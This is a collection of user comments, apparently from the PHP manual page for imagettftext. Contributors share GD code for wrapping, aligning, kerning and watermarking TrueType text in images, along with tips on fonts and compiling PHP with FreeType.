This'll give you perfect horizontal center alignment for your text, give or take 1 pixel. Have fun!
damititi at gmail dot com 22-Apr-2008 01:21
First of all, thanks sk89q for the func! it was exactly I was looking for.

I made a change. Depending on the letter, the text were incorrect vertical aligned.
I replace the line:
                $line_height = $dimensions[1] - $dimensions[7];
for the following:
                $line_height = $size+4;

No matter if mama or jeje is written, the vertical position will be the same.
sk89q 14-Mar-2008 03:36
Here is an update to my imagettftextwrapped function. I had posted the old version that cut off lines if it wordwrapped.

Here's a new version with the bug fixed, a list of arguments closer to imagettftext(), and partial angle support (the text is angled, but the left margins for each line are not adjusted for the angle).

It's a function I wrote a few years ago to do unjustified aligned text.

<?php
define("ALIGN_LEFT", "left");
define("ALIGN_CENTER", "center");
define("ALIGN_RIGHT", "right");

function imagettftextbox(&$image, $size, $angle, $left, $top, $color, $font, $text, $max_width)
{
        $text_lines = explode("\n", $text); // Supports manual line breaks!

        $lines = array();
        $line_widths = array();

        $largest_line_height = 0;

        foreach($text_lines as $block)
        {
            $current_line = ''; // Reset current line

            $words = explode(' ', $block); // Split the text into an array of single words

            $first_word = TRUE;

            $last_width = 0;

            for($i = 0; $i < count($words); $i++)
            {
                $item = $words[$i];
                $dimensions = imagettfbbox($size, $angle, $font, $current_line . ($first_word ? '' : ' ') . $item);
                $line_width = $dimensions[2] - $dimensions[0];
                $line_height = $dimensions[1] - $dimensions[7];

                if($line_height > $largest_line_height) $largest_line_height = $line_height;

                if($line_width > $max_width && !$first_word)
                {
                    $lines[] = $current_line;

                    $line_widths[] = $last_width ? $last_width : $line_width;

                    /*if($i == count($words))
                    {
                        continue;
                    }*/

                    $current_line = $item;
                }
                else
                {
                    $current_line .= ($first_word ? '' : ' ') . $item;
                }

                if($i == count($words) - 1)
                {
                    $lines[] = $current_line;

                    $line_widths[] = $line_width;
                }

                $last_width = $line_width;

                $first_word = FALSE;
            }

            if($current_line)
            {
                $current_line = $item;
            }
        }

        $i = 0;
        foreach($lines as $line)
        {
            if($align == ALIGN_CENTER)
            {
                $left_offset = ($max_width - $line_widths[$i]) / 2;
            }
            elseif($align == ALIGN_RIGHT)
            {
                $left_offset = ($max_width - $line_widths[$i]);
            }
            imagettftext($image, $size, $angle, $left + $left_offset, $top + $largest_line_height + ($largest_line_height * $i), $color, $font, $line);
            $i++;
        }

        return $largest_line_height * count($lines);
}
?>
llewellyntd at gmail dot com 12-Mar-2008 03:27
Hi All,

I struggled for moths to do a decent text warp with GD lib. Here is the code that I made use of:

<?php
//word wrap
$warpText = wordwrap($text, 30, "\n");
//display text
imagettftext($image, $fontSize, 0, $x, $y, $fontColor, $font, $warpText);
?>

Hope this helps somebody.

Cheers
m0r1arty at mail dot ru 13-Feb-2008 10:50
Sorry my English.
I have trouble with using imagettftext under Windows.
I can't used short name of fonts(example "arial","arialbd.ttf" etc). PHP say what not find this font.
Manipulation with environment GDFONTPATH lost.
This is my solution
<?php
$dir=opendir('./font/');//directory with fonts
if($dir)
    while($f=readdir($dir)){
        if(preg_match('/\.ttf$/',$f)){
            $font=explode('.',$f);
            define($font[0],realpath('./font/'.$f));
        }
    }
if($dir)
    closedir($dir);
?>
Directory "font" have two file: arial.ttf and arialbd.ttf
Now one can using constant font name by calling imagettftext:
imagettftext($img,12,0,25,28,$color,arialbd,'some text');
matt at mmkennedy dot net 17-Jan-2008 07:11
For anyone attempting to print black barcodes, and trying to turn of anti-aliasing, remember that -1 * [0,0,0] is 0, not -0.
denis at reddodo dot com 24-Dec-2007 06:05
Small but very dangerous bug in function ttfWordWrappedText, written by waage, just try ttfWordWrappedText("aaaaa\naa",4) and your script will run into endless loop.
You can fix it with code below:
<?php
    function ttfWordWrappedText_fixed($text, $strlen = 8) {
    $text = urldecode($text);
    $text = explode("\n", $text);
    $i = 0;
    foreach($text as $text)
    {
        while(strlen($text) > $strlen  && strstr($text, ' ') !== FALSE) {
           $startPoint = strpos($text, ' ');
           $line[$i][] =substr($text,0,$startPoint);
           $text = trim(strstr($text, ' '));
        }
        $line[$i][] = trim($text);
        }
        $line[$i][] = trim($text);
        $i++;
    }

    return $line;
}
?>
better solutions is to check input text for lines longer than needed wrap point.
denis at reddodo dot com 24-Dec-2007 05:46
Small but very dangerous bug in function ttfWordWrappedText, written by waage, just try ttfWordWrappedText("aaaaa\naa",4) and your script will run into endless loop.
You can fix it with code below:
<?php
    function ttfWordWrappedText_fixed($text, $strlen = 8) {
    $text = urldecode($text);
    $text = explode("\n", $text);

    $i = 0;
    foreach($text as $text)
    {
        while(strlen($text) > $strlen && stristr($text, ' ') !== FALSE) {
           $startPoint = $strlen - 1;
           while(substr($text, $startPoint, 1) != " ") {
                $startPoint--;
           }
           $line[$i][] = trim(substr($text, 0, $startPoint));
           $text = substr($text, $startPoint);
        }
        $line[$i][] = trim($text);
        $i++;
    }

    return $line;
}
?>
better solutions is to check input text for lines longer than needed wrap point.
dotpointer 09-Dec-2007 04:40
For those trying to disable the font smoothing or font cleartype:ing, take a look at the color parameter for this function. The correct word for what you're looking for is antialiasing.
Anonymous 16-Nov-2007 04:14
Just to comment on Sohel Taslims great function...
if anyone needs to add BACKGROUND TRANSPARENCY to this kind of function (which almost does everyone one would want already) then add

$bg_color = imagecolorat($im,1,1);
imagecolortransparent($im, $bg_color);

ABOVE the "if($L_R_C == 0){ //Justify Left"  line
waage 07-Nov-2007 07:31
I had some issues trying to get both word wrapping and new line detection but with some of the help from the comments below i got this. (thanks to jwe for the main part of the code here)

<?php
function ttfWordWrappedText($text, $strlen = 38) {
    $text = urldecode($text);
    $text = explode("\n", $text);

    $i = 0;
    foreach($text as $text)
    {
        while(strlen($text) > $strlen) {
           $startPoint = $strlen - 1;
           while(substr($text, $startPoint, 1) != " ") {
                $startPoint--;
           }
           $line[$i][] = trim(substr($text, 0, $startPoint));
           $text = substr($text, $startPoint);
        }
        $line[$i][] = trim($text);
        $i++;
    }

    return $line;
}
?>

This returns an array for each newline entered and subarray for each wordwrapped line to print.

ie.

Array
(
    [0] => Array
        (
            [0] => This is the first long line
            [1] => that i entered.
        )

    [1] => Array
        (
            [0] => And this is the new line after that.
        )
)
mitch at electricpulp dot com 20-Sep-2007 07:35
If you're having issues with fonts not working... (Could not find/open font) check your permissions on the folder/font files and make sure they're 775, especially if you've just pulled them from a windows box. Hope this helps!
Ole Clausen 11-Sep-2007 09:11
Comment to: Sohel Taslim (03-Aug-2007 06:19)

Thanks for the function which I have modified a bit. In the new version the lines have equal space between them (the g's in your example create bigger space between the lines) - set by the parameter '$Leading'.

I have used the for-loop for better performance and slimmed the rest a little  :)

    /**
     * @name                    : makeImageF
     *
     * Function for create image from text with selected font. Justify text in image (0-Left, 1-Right, 2-Center).
     *
     * @param String $text     : String to convert into the Image.
     * @param String $font     : Font name of the text. Kip font file in same folder.
     * @param int    $Justify  : Justify text in image (0-Left, 1-Right, 2-Center).
     * @param int    $Leading  : Space between lines.
     * @param int    $W        : Width of the Image.
     * @param int    $H        : Hight of the Image.
     * @param int    $X        : x-coordinate of the text into the image.
     * @param int    $Y        : y-coordinate of the text into the image.
     * @param int    $fsize    : Font size of text.
     * @param array  $color    : RGB color array for text color.
     * @param array  $bgcolor  : RGB color array for background.
     *
     */
    function imagettfJustifytext($text, $font="CENTURY.TTF", $Justify=2, $Leading=0, $W=0, $H=0, $X=0, $Y=0, $fsize=12, $color=array(0x0,0x0,0x0), $bgcolor=array(0xFF,0xFF,0xFF)){

        $angle = 0;
        $_bx = imageTTFBbox($fsize,0,$font,$text);
        $s = split("[\n]+", $text);  // Array of lines
        $nL = count($s);  // Number of lines
        $W = ($W==0)?abs($_bx[2]-$_bx[0]):$W;    // If Width not initialized by programmer then it will detect and assign perfect width.
        $H = ($H==0)?abs($_bx[5]-$_bx[3])+($nL>1?($nL*$Leading):0):$H;    // If Height not initialized by programmer then it will detect and assign perfect height.

        $im = @imagecreate($W, $H)
            or die("Cannot Initialize new GD image stream");

        $background_color = imagecolorallocate($im, $bgcolor[0], $bgcolor[1], $bgcolor[2]);  // RGB color background.
        $text_color = imagecolorallocate($im, $color[0], $color[1], $color[2]); // RGB color text.

        if ($Justify == 0){ //Justify Left
            imagettftext($im, $fsize, $angle, $X, $fsize, $text_color, $font, $text);
        } else {
            // Create alpha-nummeric string with all international characters - both upper- and lowercase
            $alpha = range("a", "z");
            $alpha = $alpha.strtoupper($alpha).range(0, 9);
            // Use the string to determine the height of a line
            $_b = imageTTFBbox($fsize,0,$font,$alpha);
            $_H = abs($_b[5]-$_b[3]);
            $__H=0;
            for ($i=0; $i<$nL; $i++) {
                $_b = imageTTFBbox($fsize,0,$font,$s[$i]);
                $_W = abs($_b[2]-$_b[0]);
                //Defining the X coordinate.
                if ($Justify == 1) $_X = $W-$_W;  // Justify Right
                else $_X = abs($W/2)-abs($_W/2);  // Justify Center

                //Defining the Y coordinate.
                $__H += $_H;
                imagettftext($im, $fsize, $angle, $_X, $__H, $text_color, $font, $s[$i]);
                $__H += $Leading;
            }
        }

        return $im;
    }
Sohel Taslim 02-Aug-2007 09:19
Left Right Center align/justify of text in image. It is easy and simple to do in PHP.
Create an image from text and align them as you want. After that save or display image.

<?php
/**
 * Function for converting Text to Image.
 * Kip CENTURY.TTF file in same folder.
 *
 * @author Taslim Mazumder Sohel
 * @deprecated 1.0 - 2007/08/03
 *
 */
     //Example call.
    $str = "New life in programming.\nNext Line of Image.\nLine Number 3\n" .
        "This is line numbet 4\nLine number 5\nYou can write as you want.";
    header("Content-type: image/gif");
    imagegif(imagettfJustifytext($str,"CENTURY.TTF",2));
    //End of example.

    /**
     * @name                    : makeImageF
     *
     * Function for create image from text with selected font. Justify text in image (0-Left, 1-Right, 2-Center).
     *
     * @param String $text     : String to convert into the Image.
     * @param String $font     : Font name of the text. Kip font file in same folder.
     * @param int    $W        : Width of the Image.
     * @param int    $H        : Hight of the Image.
     * @param int    $X        : x-coordinate of the text into the image.
     * @param int    $Y        : y-coordinate of the text into the image.
     * @param int    $fsize    : Font size of text.
     * @param array  $color       : RGB color array for text color.
     * @param array  $bgcolor  : RGB color array for background.
     *
     */
    function imagettfJustifytext($text, $font="CENTURY.TTF", $Justify=2, $W=0, $H=0, $X=0, $Y=0, $fsize=12, $color=array(0x0,0x0,0x0), $bgcolor=array(0xFF,0xFF,0xFF)){

        $angle = 0;
        $L_R_C = $Justify;
        $_bx = imageTTFBbox($fsize,0,$font,$text);

        $W = ($W==0)?abs($_bx[2]-$_bx[0]):$W;    //If Height not initialized by programmer then it will detect and assign perfect height.
        $H = ($H==0)?abs($_bx[5]-$_bx[3]):$H;    //If Width not initialized by programmer then it will detect and assign perfect width.

        $im = @imagecreate($W, $H)
            or die("Cannot Initialize new GD image stream");

        $background_color = imagecolorallocate($im, $bgcolor[0], $bgcolor[1], $bgcolor[2]);        //RGB color background.
        $text_color = imagecolorallocate($im, $color[0], $color[1], $color[2]);            //RGB color text.

        if($L_R_C == 0){ //Justify Left

            imagettftext($im, $fsize, $angle, $X, $fsize, $text_color, $font, $text);

        }elseif($L_R_C == 1){ //Justify Right
            $s = split("[\n]+", $text);
            $__H=0;

            foreach($s as $key=>$val){

                $_b = imageTTFBbox($fsize,0,$font,$val);
                $_W = abs($_b[2]-$_b[0]);
                //Defining the X coordinate.
                $_X = $W-$_W;
                //Defining the Y coordinate.
                $_H = abs($_b[5]-$_b[3]);
                $__H += $_H;
                imagettftext($im, $fsize, $angle, $_X, $__H, $text_color, $font, $val);
                $__H += 6;

            }

        }
        elseif($L_R_C == 2){ //Justify Center

            $s = split("[\n]+", $text);
            $__H=0;

            foreach($s as $key=>$val){

                $_b = imageTTFBbox($fsize,0,$font,$val);
                $_W = abs($_b[2]-$_b[0]);
                //Defining the X coordinate.
                $_X = abs($W/2)-abs($_W/2);
                //Defining the Y coordinate.
                $_H = abs($_b[5]-$_b[3]);
                $__H += $_H;
                imagettftext($im, $fsize, $angle, $_X, $__H, $text_color, $font, $val);
                $__H += 6;

            }

        }

        return $im;

    }

?>
Borgso 27-Jul-2007 04:30
Right align out of "webmaster at higher-designs dot com" code
<?php
$color = imagecolorallocate($im, 0, 0, 0);
$font = 'visitor.ttf';
$fontsize = "12";
$fontangle = "0";
$imagewidth = imagesx($im);
$imageheight = imagesy($im);

$text = "My right align text";

$box = @imageTTFBbox($fontsize,$fontangle,$font,$text);
$textwidth = abs($box[4] - $box[0]);
$textheight = abs($box[5] - $box[1]);
$xcord = $imagewidth - ($textwidth)-2; // 2 = some space from right side.
$ycord = ($imageheight/2)+($textheight/2);

ImageTTFText ($im, $fontsize, $fontangle, $xcord, $ycord, $black, $font, $text);
?>
Lassial at the google mail dot com 13-Jun-2007 12:42
Creating multiline text with GD is bit complicated, one of the issues I've ran to is how to set line spacing, a normal feature in all type setting (even type writers). By default, line spacing with imagettftext seems to be 150 % or more, too much for me anyhow. Thus I've used the function below to get the lines closer to each other. By default, it appears to create 100 % linespacing, but it has not been tested thoroughly.

null imagettfmultilinetext
(resource $image, float $size, float $angle, int $x, int $y, int $color, string $fontfile, string $text , $spacing)

spacing is a coefficient, comparable to Line spacing in a word processors or graphics software, causing a shift relative to font size in the line spacing

<?php
function imagettfmultilinetext($image, $size, $angle, $x, $y, $color, $fontfile,  $text, $spacing=1)
{

$lines=explode("\n",$text);
for($i=0; $i< count($lines); $i++)
    {
    $newY=$y+($i * $size * $spacing);
    imagettftext($image, $size, $angle, $x, $newY, $color, $fontfile,  $lines[$i], $spacing);
    }
return null;
}
?>
ken at smallbox software 11-Jun-2007 09:24
Strangely this function seems to work with adobe post script files (tried .pfb) not sure why this isn't documented or why there is a separate set of functions for dealing with postscript.
php at gilbertson dot me dot uk 01-Jun-2007 01:52
Users may note a problem trying to use this function to display the Euro symbol.

The reason is that it is a late addition. Although the operating systems generally recognise code 0x80 (128 decimal) as Euro, this is not where it necessarily appears in the font. Some have it there, but many just have it in the extended character set at position 0x20AC (8364 decimal).

I have yet to find a font with it only at 0x80, so here is the fix:

<?php
$image=imagecreate(135,24);
$bg=imagecolorallocate($image,0,0,0);
$fg=imagecolorallocate($image,0,255,0);
$text = 'coffee - €3.50';
$friendly = eurofix($text);
imagettftext($image,16,0,5,20,$fg,"Papyrus.ttf",$friendly);
imagegif ($image);
imagedestroy ($image);

function eurofix($str) {
$euro=utf8_encode('&#8364;');
$str = preg_replace('/\x80/',$euro,$str);
return ($str);
}
?>

You should note, however, this won't help with fonts older than about 1999. It can only make sure the Euro is displayed where available.
lassial at gmail dot com 10-May-2007 06:56
Roy van Arem suggested a neat code for listing TTFs on a machine. However, it has some problems (such as lower and upper case distinction of file extension and defective fonts) that I have corrected in the following script, which can be implemented as a single PHP script (name as you like):

<?php //make sure there are no blank lines above

$ffolder="/usr/local/bin/fonts"; //The directory where your fonts reside

if (empty($_GET['f']))
{
$folder=dir($ffolder); //open directory
echo "<HTML><BODY>\n";

while($font=$folder->read())
  if(stristr($font,'.ttf')) //only ttf fonts
        $fonts[]=$font;

$folder->close();

if (!empty($fonts))
        {
        echo "<table><tr><th colspan='2'>Fonts available in $ffolder</th></tr>"
        ."\n<tr><th>Name</th><th>Appereance</th>";
        sort($fonts);
        foreach ($fonts as $font)
                echo "<tr><td>$font</td><td> <IMG src='".$_SERVER['SCRIPT_NAME']
                        ."?f=$font'></td></tr>\n";
        }
else echo "No fonts found from $ffolder";
echo "\n</HTML></BODY>";
}

else
{
$im=@imagecreatetruecolor(200,30)
        or die("Cannot Initialize new GD image stream");

$black=imagecolorallocate($im,0,0,0);
$white=imagecolorallocate($im,255,255,255);

imagefill($im,0,0,$white);
imagettftext($im,14,0,5,25,$black, "$ffolder/".$_GET['f'] , $_GET['f']);

header("Content-type: image/png");
header('Content-Length: ' . strlen($im));

imagepng($im);
imagedestroy($im);
}
?>
ultraniblet at gmail dot com 05-May-2007 01:08
I have found the kerning (spacing between letters) pretty poor with GD - it's not up to your average designer's standards. Here are some ways to improve it:
- Place the letters one by one using their bounding box instead of using one string
- adjust with a $kerning value
- For small text, sample it down from a larger size to adjust in increments less than 1px

Eg:

<?PHP

$STRING = "NOTRE PHILOSOPHIE";

// ---- PRESETS
$FONT = "CantoriaMTStd-SemiBold.otf";
$FONT_SIZE = 10.5;
$WIDTH = 200;
$HEIGHT = 16;
$KERNING = 0;
$BASELINE = 12;
$BG_COLOR = array(
    "R"=>5,
    "G"=>45,
    "B"=>53
);
$TXT_COLOR = array(
    "R"=>188,
    "G"=>189,
    "B"=>0
);

// ---- CREATE CANVAS + PALETTE
$canvas = imageCreateTrueColor($WIDTH*4,$HEIGHT*4);

$bg_color = imageColorAllocate($canvas, $BG_COLOR["R"], $BG_COLOR["G"], $BG_COLOR["B"]);

$txt_color = imageColorAllocate($canvas, $TXT_COLOR["R"], $TXT_COLOR["G"], $TXT_COLOR["B"]);

imagefill ( $canvas, 0, 0, $bg_color );

// ---- DRAW

$array = str_split($STRING);
$hpos = 0;

for($i=0; $i<count($array); $i++)
{
    $bbox = imagettftext( $canvas, $FONT_SIZE*4, 0, $hpos, $BASELINE*4, $txt_color, $FONT, $array[$i] );

    $hpos = $bbox[2]+$KERNING;
}

// ---- SAMPLE DOWN & OUTPUT
$final = imageCreateTrueColor($WIDTH,$HEIGHT);

imageCopyResampled( $final, $canvas, 0,0,0,0, $WIDTH, $HEIGHT, $WIDTH*4, $HEIGHT*4 );

header('Content-type: image/png');

imagePNG($final);

imageDestroy($canvas);
imageDestroy($final);

?>
Roy van Arem 26-Nov-2006 08:01
If you want to display a list of fonts in a directory and see what they look like, you could do something like this:

<HTML><BODY>

<?php

$folder=dir("fonts/"); //The directory where your fonts reside

while($font=$folder->read())
  {

  if(stristr($font,'.ttf'))echo '<IMG SRC="img.php?'.substr($font,0,strpos($font,'.')).'">'; //only ttf fonts

  }

$folder->close();

?>

</BODY></HTML>

The file for 'img.php' should be something like this:

<?php

$font=$_SERVER["QUERY_STRING"];

header("Content-type: image/png");
$im=@imagecreatetruecolor(200,30)or die("Cannot Initialize new GD image stream");

$black=imagecolorallocate($im,0,0,0);
$white=imagecolorallocate($im,255,255,255);

imagefill($im,0,0,$white);

imagettftext($im,18,0,5,25,$black,"fonts/".$font,$font);

imagepng($im);
imagedestroy($im);

?>

Something similar I implemented at http://font.beginstart.com
ben at evolutioncomputing co uk 05-Nov-2006 01:25
A centralised text watermark - of  any length, that automatically sizes to about 70% of the width, and can be rotated to any angle.

<?php
/* Get image info */
$Image = @ImageCreateFromJPEG ("YourImage.jpg") ;
$sx = imagesx($Image) ;
$sy = imagesy($Image) ;
if ($WatermarkNeeded)
    {
    /* Set text info */
    $Text="Copyright Ben Clay" ;
    $Font="arial.ttf" ;
    $FontColor = ImageColorAllocate ($Image,255,255,255) ;
    $FontShadow = ImageColorAllocate ($Image,0,0,0) ;
    $Rotation = 30 ;
    /* Make a copy image */
    $OriginalImage = ImageCreateTrueColor($sx,$sy) ;
    ImageCopy ($OriginalImage,$Image,0,0,0,0,$sx,$sy) ;
    /* Iterate to get the size up */
    $FontSize=1 ;
    do
        {
        $FontSize *= 1.1 ;
        $Box = @ImageTTFBBox($FontSize,0,$Font,$Text);
        $TextWidth = abs($Box[4] - $Box[0]) ;
        $TextHeight = abs($Box[5] - $Box[1]) ;
        }
    while ($TextWidth < $sx*0.7) ;
    /*  Awkward maths to get the origin of the text in the right place */
    $x = $sx/2 - cos(deg2rad($Rotation))*$TextWidth/2 ;
    $y = $sy/2 + sin(deg2rad($Rotation))*$TextWidth/2 + cos(deg2rad($Rotation))*$TextHeight/2 ;
    /* Make shadow text first followed by solid text */
    ImageTTFText ($Image,$FontSize,$Rotation,$x+4,$y+4,$FontShadow,$Font,$Text);
    ImageTTFText ($Image,$FontSize,$Rotation,$x,$y,$FontColor,$Font,$Text);
    /* merge original image into version with text to show image through text */
    ImageCopyMerge ($Image,$OriginalImage,0,0,0,0,$sx,$sy,50) ;
    }

ImageJPEG ($Image) ;
?>
Tom Pike 04-Oct-2006 08:48
Ref: Craig at frostycoolslug dot com

"Using the negative of a color index has the effect of turning off antialiasing."

This is true, but only if the image has been created with imagecreate() (as opposed to imagecreatetruecolor())
Craig at frostycoolslug dot com 28-Sep-2006 07:54
This one caught me out a little bit as confusing, so in an attempt to help others..

"Using the negative of a color index has the effect of turning off antialiasing."

Simply put:

<?php

$textColour = ImageColorAllocate($image, 255, 255, 255);
ImageTTFText($image, 8, 0, 0, 0, -$textColour, $font, $text);

?>

Note the - (minus) before the $textColor in ImageTTFText, this creates the negative colour index, and switches off AA on text.
webmaster at higher-designs dot com 15-Aug-2006 10:16
I spent days looking for this, couldn't find it, so just made it myself. This is an ultra simple text banner that keeps the text pretty much centered (not perfect when text is angled) vertically and horizontally. Size, font, colors are easy to edit and in HTML version for the colors.

Any additions (maybe for multi-line functionality) can be added if you desire.

<?php
### Declare this script will be displayed as a PNG image.
header("Content-type: image/png");

####################### BEGIN USER EDITS #######################
$imagewidth = 500;
$imageheight = 100;
$fontsize = "20";
$fontangle = "0";
$font = "arial.ttf";
$text = "123456789";
$backgroundcolor = "003366";
$textcolor = "FFCC66";
######################## END USER EDITS ########################

### Convert HTML backgound color to RGB
if( eregi( "([0-9a-f]{2})([0-9a-f]{2})([0-9a-f]{2})", $backgroundcolor, $bgrgb ) )
{$bgred = hexdec( $bgrgb[1] );   $bggreen = hexdec( $bgrgb[2] );   $bgblue = hexdec( $bgrgb[3] );}

### Convert HTML text color to RGB
if( eregi( "([0-9a-f]{2})([0-9a-f]{2})([0-9a-f]{2})", $textcolor, $textrgb ) )
{$textred = hexdec( $textrgb[1] );   $textgreen = hexdec( $textrgb[2] );   $textblue = hexdec( $textrgb[3] );}

### Create image
$im = imagecreate( $imagewidth, $imageheight );

### Declare image's background color
$bgcolor = imagecolorallocate($im, $bgred,$bggreen,$bgblue);

### Declare image's text color
$fontcolor = imagecolorallocate($im, $textred,$textgreen,$textblue);

### Get exact dimensions of text string
$box = @imageTTFBbox($fontsize,$fontangle,$font,$text);

### Get width of text from dimensions
$textwidth = abs($box[4] - $box[0]);

### Get height of text from dimensions
$textheight = abs($box[5] - $box[1]);

### Get x-coordinate of centered text horizontally using length of the image and length of the text
$xcord = ($imagewidth/2)-($textwidth/2)-2;

### Get y-coordinate of centered text vertically using height of the image and height of the text
$ycord = ($imageheight/2)+($textheight/2);

### Declare completed image with colors, font, text, and text location
imagettftext ( $im, $fontsize, $fontangle, $xcord, $ycord, $fontcolor, $font, $text );

### Display completed image as PNG
imagepng($im);

### Close the image
imagedestroy($im);
?>
jwe 24-Jul-2006 11:48
I found this line a little confusing:

"May include decimal numeric character references (of the form: &#8364;) to access characters in a font beyond position 127."

I was using a font that had apostrophes and quotes stored in a non-standard position, and so they were being rendered as spaces by imagettftext.  This line seemed to suggest a solution, but it took a while to figure it out.

Turns out, a "decimal numeric character reference" is a decimal conversion of the hex value of the *unicode* position of the character you want.  For a while I was trying ASCII positions (I knew the ALT+ code for typing the character I needed in Windows).

In the Windows XP character map, the unicode positions are shown as U+2018 or U+201C, etc.  Ignore the U+ and convert that hex number to decimal, and then stick that in your text string with the &# on the front and ; on the end, and pass it to imagettftext.

--Julian
jwe 18-Jul-2006 08:48
Quick tip for anyone who is receiving text like in the example in this page (ie: through $_GET['text'] or something similar) and needs to format the text into multiple lines.  The trick is finding the spaces...

<?php
$text = $_GET['text'];
// for a maximum of 38 characters on a line...
while(strlen($text) > 38) {
   $startPoint = 37;
   // find a space to break the line on
   while(substr($text, $startPoint, 1) != " ") {
        $startPoint--;
   }
   $line[] = trim(substr($text, 0, $startPoint));
   $text = substr($text, $startPoint);
}
$line[] = trim($text);
?>

The result is an array called $line that contains all the lines of text you need to output in order.

The only tasks left are to determine the correct height of the image based on the font size you want to use.  Don't forget to leave some padding space for punctuation and descenders between lines (commas, g, q, p, y, etc).

imagettftext is unbelievably useful when you need to create header images using non-standard fonts.  Amazing.  Huge thanks to the devs.

--Julian
admin at sgssweb dot com 01-May-2006 04:08
Another way of the bellow. After creating a child class of GMIPluggableSet class, which should override two method: getExpression() and getVariables(), throw it to a instance of FontImageGenerator class.
For example, the code follows:

<?php

require_once 'package.fig.php';

class SampleFontImagePluggableSet
    extends GMIPluggableSet
{
    var $defaultVariables = array(
        "text" => null,
        "size" => null,
        "font" => null,
        "color" => "0x000000",
        "alpha" => "100",
        "padding" => 0,
        "width" => null,
        "height" => null,
        "align" => "left",
        "valign" => "middle",
        "bgcolor" => "0xffffff",
        "antialias" => 4
    );

    function SampleFontImagePluggableSet() {
        parent::GMIPluggableSet();
    }

    function getExpression() {
        return "size {width}, {height};".
               "autoresize none;".
               "type gif, 256, {color: {bgcolor}};".
               "padding {padding};".
               "color {color: {bgcolor}};".
               "fill;".
               "color {color: {color}, {alpha}};".
               "antialias {antialias};".
               "font {font}, {size};".
               "string {text}, 0, 0, {width}, {height}, {align}, {valign};";
    }

    function getVariables() {
        return array_merge($this->defaultVariables, $_GET);
    }
}

$pluggableSet = new SampleFontImagePluggableSet();
$fig = new FontImageGenerator();
$fig->setPluggableSet($pluggableSet);
$fig->execute();

?>

This output a image with the text defined in $_GET['text'], the font in $_GET['font'], the text color in $_GET['color'], the background in $_GET['bgcolor'], and so on.

The script file is available at: http://sgssweb.com/experiments/?file=PHPFontImageGenerator .
admin at sgssweb dot com 29-Apr-2006 11:17
I wrote two classes: PHP Abstract Drawing Toolkit and PHP Graphics, the elements of PHP Font Image Generator2. An instance of the class Graphics can draw multi-sampling antialiased text, 7 horizontal alignment of text box (left, center, right, left-adjust, center-adjust, right-adjust, adjust), 3 vertical alignment (top, middle, bottom), and other Java-like methods.

<?php
require_once "package.graphics.php";

$canvas = new Canvas();
$canvas->setSize(400, 400);
$g =& $canvas->getGraphics();
$g->setColor(new Color(0xffffff));
$g->fill();
$g->setColor(new Color(0, 0, 0, 80));
$g->setFont(new Font($_POST['font'], 20));
$g->drawString($_POST['text'], 0, 0, 400, 400, 'center-adjust', 'middle');
$canvas->complete();
$canvas->output();

?>

The class script is here.
http://sgssweb.com/experiments/?file=PHPFontImageGenerator2
jpetsel at riverviewtech dot net 27-Apr-2006 12:06
I was looking at ugo's center and it was great for left to right centering, but it wouldn't center up and down.  So with some changes to suit my needs this is what I came up with.  Some of the notations are just for my edifcation so may mean nothing for you all but you will see I added a $posy that helps with centering up and down.  I was also feeding my feilds from a form.

<?php
// Set the content-type
header("Content-type: image/png");

//1line per column
$text=array(0=>$_POST['linei'],1=>$_POST['lineii'],
2=>$_POST['lineiii'],3=>$_POST['lineiv'],4=>$_POST['linev']);

$Image_Width=400;
$Text_Size=$_POST['textsize'];
$Image_Height=400;

// Create the image
$im = imagecreatetruecolor ($Image_Width, $Image_Height); /* Create a blank image */

// Create some colors
$white = imagecolorallocate($im, 255, 255, 255);
$grey = imagecolorallocate($im, 128, 128, 128);
$black = imagecolorallocate($im, 0, 0, 0);
imagefilledrectangle($im, 1, 1, 398, 398, $white);

// Replace path by your own font path
$font = $_POST['font_name'];

for ($i=0; $i < sizeof($text); $i++) {

    //Center the text
    $Text_Box_Size = imagettfbbox($Text_Size, 0, $font, $text[$i]);
    $Text_Box_Width = abs($Text_Box_Size[2] + $Text_Box_Size[0]);
    $Text_Box_Height = abs($Text_Box_Size[7] + $Text_Box_Size[1]);
    $Text_Height = $Text_Height + $Text_Box_Height;
    $posx = ($Image_Width - $Text_Box_Width) / 2;
    $posy = ($Image_Height - $Text_Box_Height * sizeof($text)) / 2 + $Text_Height;

    /*
    Add the text (***array imagettftext ( resource image, float size, float angle,
    int x, int y, int color, string fontfile, string text )***)
    */

    imagettftext($im, $Text_Size, 0, $posx, $posy, $black, $font, $text[$i]);
}

// Using imagepng() results in clearer text compared with imagejpeg()
imagepng($im);
imagedestroy($im);
?>
ugo dot quaisse at gmail dot com 19-Apr-2006 06:03
This is a script that aim at center the (multi) lines :

<?php
header("Content-type: image/png");

//1line per column
$text=array(0=>"line 1",1=>"line 2");

$largeur=500;
$line_height=30;
$hauteur=sizeof($text)*$line_height;

// Create the image
$im = imagecreatetruecolor($largeur, $hauteur);

// Create some colors
$white = imagecolorallocate($im, 255, 255, 255);
$grey = imagecolorallocate($im, 225, 225, 225);
$blue = imagecolorallocate($im, 0, 62, 126);
imagefilledrectangle($im, 0, 0, $largeur, $hauteur, $white);

// Replace path by your own font path
$font = 'font.ttf';

for($i=0;$i<=sizeof($text);$i++) {
//Center the text
$size = imagettfbbox(20, 0, $font, $text[$i]);
$long_text = $size[2]+$size[0];
$posx=($largeur-$long_text)/2;
// Add the text
imagettftext($im, 20, 0, $posx, $line_height+$line_height*$i, $blue, $font, $text[$i]);
}

imagepng($im);
imagedestroy($im);
?>
mats dot engstrom at gmail dot com 28-Mar-2006 02:23
I'll second the note from --colobri--.

Just adding --with-ttf and --with-freetype-dir=/usr/lib/ on the ./configure and then doing a "make; make install" is not enough.

I had to do a "make clean" and then a "make install" in order to get the FreeType-support enabled.

Here are my relevant ./configure lines:
--with-gd \
--enable-gd-native-ttf \
--with-ttf \
--with-freetype-dir=/usr/lib/ \
--with-jpeg-dir=/usr/lib/libjpeg.so.62 \
--enable-exif \
admin at phpru dot com 28-Feb-2006 09:52
On my conf: php5.1.2+apache 1.33
iconv() function works very well with all cyrillic encodings, so you needn't to write your function like win2uni
--Colibri-- 28-Jan-2006 12:53
If you have configured and compiled PHP with all the necessary command-line options and still get the error:

Fatal error: Call to undefined function imagettftext()

Try doing a "make clean"  before building the php apache module:

./configure [...]
make clean
make
make install

This may solve your problem (and hopefully keep you from wasting hours trying different compile options!)
nospam at nospam dot nospam 22-Jan-2006 03:51
